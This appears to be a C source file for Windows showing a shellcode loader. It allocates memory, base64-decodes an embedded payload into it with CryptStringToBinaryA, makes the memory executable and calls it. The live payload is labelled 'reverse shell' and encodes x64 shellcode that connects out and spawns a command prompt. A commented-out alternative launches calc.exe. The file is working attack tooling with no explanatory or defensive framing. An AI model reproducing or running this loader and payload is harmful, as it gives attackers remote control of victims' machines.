| 4 | |
| 5 | |
| 6 | int main(void) { |
| 7 | // calc |
| 8 | //const char payload[] = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu/C1olZBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA"; |
| 9 | // reverse shell |
| 10 | const char payload[] = "/EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11JvndzMl8zMgAAQVZJieZIgeygAQAASYnlSbwCAATSZFuwDUFUSYnkTInxQbpMdyYH/9VMiepoAQEAAFlBuimAawD/1VBQTTHJTTHASP/ASInCSP/ASInBQbrqD9/g/9VIicdqEEFYTIniSIn5QbqZpXRh/9VIgcRAAgAASbhjbWQAAAAAAEFQQVBIieJXV1dNMcBqDVlBUOL8ZsdEJFQBAUiNRCQYxgBoSInmVlBBUEFQQVBJ/8BBUEn/yE2JwUyJwUG6ecw/hv/VSDHSSP/Kiw5BugiHHWD/1bvgHSoKQbqmlb2d/9VIg8QoPAZ8CoD74HUFu0cTcm9qAFlBidr/1Q=="; |
| 11 | DWORD payloadLen = sizeof(payload); |
| 12 | |
| 13 | LPVOID alloc_mem = VirtualAlloc(0, payloadLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); |
| 14 | if (!alloc_mem) { |
| 15 | printf("Failed to allocate memory (%u)\n", GetLastError()); |
| 16 | return -1; |
| 17 | } |
| 18 | |
| 19 | // base64 decoding |
| 20 | if (!CryptStringToBinaryA(payload, payloadLen, CRYPT_STRING_BASE64, (BYTE*)alloc_mem, &payloadLen, NULL, NULL)) { |
| 21 | printf("Failed to decode the payload(%u)\n", GetLastError()); |
| 22 | return -2; |
| 23 | } |
| 24 | |
| 25 | DWORD OldProtect; |
| 26 | |
| 27 | if (!VirtualProtect(alloc_mem, payloadLen, PAGE_EXECUTE_READ, &OldProtect)) { |
| 28 | printf("Failed to change memory protection (%u)\n", GetLastError()); |
| 29 | return -3; |
| 30 | } |
| 31 | |
| 32 | ((void(*)())alloc_mem)(); |
| 33 | |
| 34 | |
| 35 | /* |
| 36 | HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)alloc_mem, NULL, 0, NULL); |
| 37 | if (!tHandle) { |
| 38 | printf("Failed to Create the thread (%u)\n", GetLastError()); |
| 39 | return -3; |
| 40 | } |
| 41 | |
| 42 | WaitForSingleObject(tHandle, INFINITE); |
| 43 | */ |
| 44 | |
| 45 | |
| 46 | return 0; |
| 47 | } |
nothing calls this directly
no outgoing calls
no test coverage detected